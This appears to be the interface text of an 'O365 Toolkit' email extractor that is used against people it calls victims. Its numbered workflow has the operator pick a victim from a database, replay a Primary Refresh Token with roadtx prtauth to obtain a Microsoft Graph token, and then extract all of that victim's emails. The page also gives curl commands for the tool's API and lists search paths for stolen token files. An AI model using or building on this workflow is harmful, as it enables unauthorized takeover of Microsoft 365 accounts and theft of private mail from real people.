Email Extractor

O365 Toolkit
checking

1. Choose a victim

Pulled from the toolkit's db.sqlite. The list refreshes every 15s.

Workflow:
  1. Pick a victim from the list (or type the email directly).
  2. Click Run fresh-PRT chain to authenticate (runs roadtx prtauth against the PRT file in the per-victim workdir). You must click this manually the chain is no longer auto-fired.
  3. Wait ~30-60s for the green "Graph token: N chars session for <email>" line.
  4. Click Fetch folders, pick folders, then Extract ALL emails.
  5. To switch to a different victim: click Clear current mailbox (drops server session + on-disk cache) OR just pick a new victim the old "Graph token" line stays visible but is ignored.
  6. If stuck, click the Dismiss button next to the status line to hide the stale message, or Clear ALL for a guaranteed clean slate.
Clear via curl/nginx bookmark: curl -X POST http://HOST:8765/api/clear -H 'Content-Type: application/json' -d '{"email":"VICTIM"}'
Or GET: curl http://HOST:8765/api/clear?email=VICTIM

2. Authenticate (pick one)

Run the fresh-PRT chain: roadtx prtauth against an existing fresh_prt.json / prt.json / roadtx.prt on disk. This is the working method from the pre-refactor cookie_email_app.py.

Search paths: PrtWorkDir from the user row, then /root/NIN3, /root/NIN3/prt-workdirs/<device>, /tmp, /home/user.

Run history

Last result per email is held in memory (cleared on restart).